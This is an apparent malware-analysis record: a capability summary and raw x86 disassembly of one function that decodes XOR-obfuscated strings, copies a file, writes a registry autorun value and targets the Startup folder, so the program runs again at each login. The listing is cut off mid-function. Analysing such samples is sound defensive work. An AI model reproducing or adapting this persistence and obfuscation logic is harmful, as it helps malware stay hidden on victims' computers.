Function at 0x42c500
Capabilities:
Copy file
Create process on windows
Create shortcut via ishelllink
Get common file path
Get session user name
Get startup folder
Write file to startup folder

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xffffffe0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x54cc4d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0xbe8
push esi
push edi
mov dword [ebp - 0x2c], 0
lea edx, [ebp - 0x220]
mov dword [ebp - 0x28], 0x34239943
mov dword [ebp - 0x24], 0x614d45fc
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x28], 0xaf392540
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x3e0], eax
mov dword [ebp - 0x3dc], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x220]
mov dword [ebp - 0x3d4], ecx
lea ecx, [ebp - 0x100]
mov dword [ebp - 0x3d8], eax
pxor xmm1, xmmword [ebp - 0x3e0]
push 0x590bbc
movaps xmmword [ebp - 0x220], xmm1
call fcn.004b5380
add esp, 4
mov dword [ebp - 4], 0
lea edx, [ebp - 0x230]
mov dword [ebp - 0x28], 0x27218c40
mov dword [ebp - 0x24], 0x63474ef1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x22c], ecx
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x28], 0xdb28255e
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x3f0], eax
mov dword [ebp - 0x3ec], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x230]
mov dword [ebp - 0x3e4], ecx
lea ecx, [ebp - 0xe8]
mov dword [ebp - 0x3e8], eax
pxor xmm1, xmmword [ebp - 0x3f0]
push 0x590bbc
movaps xmmword [ebp - 0x230], xmm1
call fcn.004b5380
add esp, 4
mov byte [ebp - 4], 1
mov dword [ebp - 0x28], 0x2511b946
mov dword [ebp - 0x24], 0x685c6cf4
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x24c], ecx
mov dword [ebp - 0x28], 0xaf4b4042
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x244], ecx
lea edx, [ebp - 0x250]
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x400], eax
mov dword [ebp - 0x3fc], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x250]
mov dword [ebp - 0x3f4], ecx
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x3f8], eax
pxor xmm1, xmmword [ebp - 0x400]
push 0x590bbc
movaps xmmword [ebp - 0x250], xmm1
call fcn.004b5380
add esp, 4
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1f0]
call fcn.0042c140
mov byte [ebp - 4], 3
mov dword [ebp - 0x28], 0x1407b343
mov dword [ebp - 0x24], 0x5d784cdc
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x28], 0xee1f0174
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x254], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x40c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x260]
mov dword [ebp - 0x408], eax
lea eax, [ebp - 0x260]
mov dword [ebp - 0x404], ecx
pxor xmm1, xmmword [ebp - 0x410]
push eax
movaps xmmword [ebp - 0x260], xmm1
call fcn.00532121
mov edx, eax
add esp, 4
mov edi, closesocket
test edx, edx
je 0x42cebe
mov ecx, edx
mov dword [ebp - 0x54], 0
xorps xmm0, xmm0
mov dword [ebp - 0x50], 0
movups xmmword [ebp - 0x64], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42c834
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x64]
call fcn.004100e0
mov byte [ebp - 4], 4
mov dword [ebp - 0x28], 0x5544fc53
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x104], ecx
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x110]
mov dword [ebp - 0x414], ecx
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x418], eax
lea edx, [ecx + 1]
pxor xmm1, xmmword [ebp - 0x420]
movaps xmmword [ebp - 0x110], xmm1
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42c8f0
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.004b34b0
cmp dword [ebp - 0xec], 0x10
lea eax, [ebp - 0x100]
push dword [ebp - 0xf0]
cmovae eax, dword [ebp - 0x100]
lea ecx, [ebp - 0x64]
push eax
call fcn.004b34b0
cmp dword [ebp - 0x50], 0x10
lea ecx, [ebp - 0x64]
cmovae ecx, dword [ebp - 0x64]
call fcn.0041a270
test al, al
jne 0x42c950
lea ecx, [ebp - 0x64]
call fcn.0042bf70
test al, al
je 0x42ce74
mov dword [ebp - 0x28], 0x303c9921
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov dword [ebp - 0x430], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x42c], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x270]
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x424], ecx
pxor xmm1, xmmword [ebp - 0x430]
movaps xmmword [ebp - 0x270], xmm1
mov dword [ebp - 0x28], 0x5544fc53
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x440], eax
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x43c], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x120]
mov dword [ebp - 0x438], eax
mov dword [ebp - 0x434], ecx
pxor xmm1, xmmword [ebp - 0x440]
movaps xmmword [ebp - 0x120], xmm1
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x120]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42ca90
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x54]
sub eax, edx
cmp eax, ecx
jb 0x42eb03
cmp dword [ebp - 0x50], 0x10
lea eax, [ebp - 0x64]
push ecx
cmovae eax, dword [ebp - 0x64]
lea ecx, [ebp - 0x120]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x70]
lea ecx, [ebp - 0x6f0]
call fcn.004b92d0
mov dword [ebp - 0x2c], 8
mov byte [ebp - 4], 6
lea eax, [ebp - 0x100]
cmp dword [ebp - 0xec], 0x10
lea ecx, [ebp - 0x6f0]
push dword [ebp - 0xf0]
cmovae eax, dword [ebp - 0x100]
push eax
call fcn.004b34b0
mov dword [ebp - 0x180], 0
lea edx, [ebp - 0x190]
mov dword [ebp - 0x17c], 0
lea ecx, [ebp - 0x308]
xorps xmm0, xmm0
mov dword [ebp - 0x2c], 0xc
movups xmmword [ebp - 0x190], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x190], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x180], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x270]
push eax
call fcn.004b52e0
add esp, 4
mov byte [ebp - 4], 7
mov esi, 0xc
mov dword [ebp - 0x2c], esi
and esi, 0xfffffffb
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x17c]
cmp ecx, 0x10
jb 0x42cbb5
mov edx, dword [ebp - 0x190]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42cbab
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42eb08
push ecx
push edx
call fcn.0050d4b1
add esp, 8
and esi, 0xfffffff7
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x17c], 0xf
mov byte [ebp - 0x190], 0
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x6f0]
call fcn.0040fe60
sub esp, 0x18
lea eax, [ebp - 0x308]
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call fcn.004b0ec0
mov byte [ebp - 4], 0xa
mov byte [ebp - 4], 9
call fcn.0041a170
add esp, 0x18
test al, al
jne 0x42ce65
cmp dword [ebp - 0x2f4], 0x10
lea ecx, [ebp - 0x308]
push 0
cmovae ecx, dword [ebp - 0x308]
lea eax, [ebp - 0x1f0]
cmp dword [ebp - 0x1dc], 0x10
push ecx
cmovae eax, dword [ebp - 0x1f0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x42ce65
mov dword [ebp - 0x28], 0x2122935c
mov dword [ebp - 0x24], 0x685a6ce7
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x660], eax
mov dword [ebp - 0x65c], ecx
mov dword [ebp - 0x28], 0xcc220d6c
mov dword [ebp - 0x24], 0xd179c057
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x658], eax
mov dword [ebp - 0x654], ecx
mov dword [ebp - 0x28], 0x76f419f7
mov dword [ebp - 0x24], 0xf8d20403
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x650], eax
mov dword [ebp - 0x64c], ecx
mov dword [ebp - 0x28], 0x1ef6d7fd
mov dword [ebp - 0x24], 0x8e0a1152
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x648], eax
mov dword [ebp - 0x644], ecx
mov dword [ebp - 0x28], 0x4e88961d
mov dword [ebp - 0x24], 0x4f82e78e
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x640], eax
mov dword [ebp - 0x63c], ecx
mov dword [ebp - 0x28], 0x6550d3ca
mov dword [ebp - 0x24], 0xf8b54bdf
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x638], eax
mov dword [ebp - 0x634], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x5a0], eax
mov dword [ebp - 0x59c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x598], eax
mov dword [ebp - 0x594], ecx
mov dword [ebp - 0x28], 0x21a86d91
mov dword [ebp - 0x24], 0x97b66a6a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], ecx
mov dword [ebp - 0x28], 0x5daaa48a
mov dword [ebp - 0x24], 0xeb786327
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x588], eax
mov dword [ebp - 0x584], ecx
mov dword [ebp - 0x28], 0x2bdee273
mov dword [ebp - 0x24], 0x20eb94fc
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x580], eax
mov dword [ebp - 0x57c], ecx
mov dword [ebp - 0x28], 0x10028fa4
mov dword [ebp - 0x24], 0xf8b54bb1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x660]
vpxor ymm0, ymm0, ymmword [ebp - 0x5a0]
mov dword [ebp - 0x578], eax
lea eax, [ebp - 0x68]
mov dword [ebp - 0x574], ecx
vmovdqa ymmword [ebp - 0x660], ymm0
vmovaps xmm1, xmmword [ebp - 0x640]
vpxor xmm1, xmm1, xmmword [ebp - 0x580]
push eax
vmovaps xmmword [ebp - 0x640], xmm1
push 0x20006
push 0
lea eax, [ebp - 0x660]
push eax
push connect
vzeroupper
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x42ce65
push dword [ebp - 0x2f8]
cmp dword [ebp - 0x2f4], 0x10
lea ecx, [ebp - 0x308]
lea eax, [ebp - 0x100]
cmovae ecx, dword [ebp - 0x308]
cmp dword [ebp - 0xec], 0x10
push ecx
cmovae eax, dword [ebp - 0x100]
push 1
push 0
push eax
push dword [ebp - 0x68]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x68]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x308]
call fcn.0040fe60
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x42ceac
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42cea2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42eb0d
push ecx
push edx
call fcn.0050d4b1
add esp, 8
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0xf
mov byte [ebp - 0x64], 0
mov dword [ebp - 0x28], 0x509b95b
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x450], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x44c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x280]
mov dword [ebp - 0x448], eax
lea eax, [ebp - 0x280]
mov dword [ebp - 0x444], ecx
pxor xmm1, xmmword [ebp - 0x450]
push eax
movaps xmmword [ebp - 0x280], xmm1
call fcn.00532121
mov edx, eax
add esp, 4
test edx, edx
je 0x42d7d1
mov ecx, edx
mov dword [ebp - 0xa8], 0
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb8], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42cf90
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xb8]
call fcn.004100e0
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x28], 0x5544fc53
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x520], eax
mov dword [ebp - 0x51c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x130]
mov dword [ebp - 0x514], ecx
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x518], eax
lea edx, [ecx + 1]
pxor xmm1, xmmword [ebp - 0x520]
movaps xmmword [ebp - 0x130], xmm1
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42d050
sub ecx, edx
lea eax, [ebp - 0x130]
push ecx
push eax
lea ecx, [ebp - 0xb8]
call fcn.004b34b0
cmp dword [ebp - 0xd4], 0x10
lea eax, [ebp - 0xe8]
push dword [ebp - 0xd8]
cmovae eax, dword [ebp - 0xe8]
lea ecx, [ebp - 0xb8]
push eax
call fcn.004b34b0
cmp dword [ebp - 0xa4], 0x10
lea ecx, [ebp - 0xb8]
cmovae ecx, dword [ebp - 0xb8]
call fcn.0041a270
test al, al
jne 0x42d117
cmp dword [ebp - 0xa4], 0x10
lea edx, [ebp - 0xb8]
xorps xmm0, xmm0
mov dword [ebp - 0x680], 0
cmovae edx, dword [ebp - 0xb8]
mov ecx, edx
mov dword [ebp - 0x67c], 0
movups xmmword [ebp - 0x690], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42d0e6
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x690]
call fcn.004100e0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x690]
or dword [ebp - 0x2c], 1
call fcn.0042bf70
mov byte [ebp - 0x2d], 0
test al, al
je 0x42d11b
mov byte [ebp - 0x2d], 1
mov dword [ebp - 4], 0xb
mov eax, dword [ebp - 0x2c]
test al, 1
je 0x42d13a
and eax, 0xfffffffe
lea ecx, [ebp - 0x690]
mov dword [ebp - 0x2c], eax
call fcn.0040fe60
cmp byte [ebp - 0x2d], 0
je 0x42d7c2
mov dword [ebp - 0x28], 0x303c9921
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x2dc], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov dword [ebp - 0x460], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x45c], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x2e0]
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x454], ecx
pxor xmm1, xmmword [ebp - 0x460]
movaps xmmword [ebp - 0x2e0], xmm1
mov dword [ebp - 0x28], 0x5544fc53
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x470], eax
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x46c], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x140]
mov dword [ebp - 0x468], eax
mov dword [ebp - 0x464], ecx
pxor xmm1, xmmword [ebp - 0x470]
movaps xmmword [ebp - 0x140], xmm1
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x140]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42d280
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0xa8]
sub eax, edx
cmp eax, ecx
jb 0x42eb12
cmp dword [ebp - 0xa4], 0x10
lea eax, [ebp - 0xb8]
push ecx
cmovae eax, dword [ebp - 0xb8]
lea ecx, [ebp - 0x140]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x24]
lea ecx, [ebp - 0x708]
call fcn.004b92d0
mov esi, dword [ebp - 0x2c]
or esi, 0x10
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0xe8]
cmp dword [ebp - 0xd4], 0x10
lea ecx, [ebp - 0x708]
push dword [ebp - 0xd8]
cmovae eax, dword [ebp - 0xe8]
push eax
call fcn.004b34b0
mov dword [ebp - 0x198], 0
lea edx, [ebp - 0x1a8]
mov dword [ebp - 0x194], 0
lea ecx, [ebp - 0x338]
xorps xmm0, xmm0
or esi, 0x20
movups xmmword [ebp - 0x1a8], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1a8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x198], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x2e0]
push eax
mov dword [ebp - 0x2c], esi
call fcn.004b52e0
add esp, 4
mov byte [ebp - 4], 0xf
and esi, 0xffffffdf
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x194]
cmp ecx, 0x10
jb 0x42d3aa
mov edx, dword [ebp - 0x1a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42d3a0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42eb17
push ecx
push edx
call fcn.0050d4b1
add esp, 8
and esi, 0xffffffef
mov dword [ebp - 0x198], 0
mov dword [ebp - 0x194], 0xf
mov byte [ebp - 0x1a8], 0
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x708]
call fcn.0040fe60
sub esp, 0x18
lea eax, [ebp - 0x338]
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call fcn.004b0ec0
mov byte [ebp - 4], 0x12
mov byte [ebp - 4], 0x11
call fcn.0041a170
add esp, 0x18
test al, al
jne 0x42d43c
cmp dword [ebp - 0x324], 0x10
lea ecx, [ebp - 0x338]
push 0
cmovae ecx, dword [ebp - 0x338]
lea eax, [ebp - 0x1f0]
cmp dword [ebp - 0x1dc], 0x10
push ecx
cmovae eax, dword [ebp - 0x1f0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x42d7b3
lea eax, [ebp - 0x9f0]
push eax
push 0
push 0
push 7
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x42d7b3
xorps xmm0, xmm0
mov dword [ebp - 0xc0], 0
lea ecx, [ebp - 0x9f0]
mov dword [ebp - 0xbc], 0
movups xmmword [ebp - 0xd0], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42d480
sub ecx, edx
lea eax, [ebp - 0x9f0]
push ecx
push eax
lea ecx, [ebp - 0xd0]
call fcn.004100e0
mov byte [ebp - 4], 0x13
lea edx, [ebp - 0x290]
mov dword [ebp - 0x28], 0x3e2a9021
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x29c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov dword [ebp - 0x490], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x48c], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x2a0]
mov dword [ebp - 0x488], eax
mov dword [ebp - 0x484], ecx
pxor xmm1, xmmword [ebp - 0x490]
movaps xmmword [ebp - 0x2a0], xmm1
mov dword [ebp - 0x28], 0x5544fc53
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x28c], ecx
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x288], eax
mov dword [ebp - 0x284], ecx
mov dword [ebp - 0x28], 0x5544fc0f
mov dword [ebp - 0x24], 0xd280d90
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 0x28], 0xaf4b4030
mov dword [ebp - 0x49c], ecx
mov dword [ebp - 0x24], 0xbe0aaf25
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x290]
mov dword [ebp - 0x498], eax
lea eax, [ebp - 0xe8]
mov dword [ebp - 0x494], ecx
lea ecx, [ebp - 0x750]
pxor xmm1, xmmword [ebp - 0x4a0]
push eax
movaps xmmword [ebp - 0x290], xmm1
call fcn.004b5380
add esp, 4
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x2a0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x738]
call fcn.004b52e0
add esp, 4
mov byte [ebp - 4], 0x15
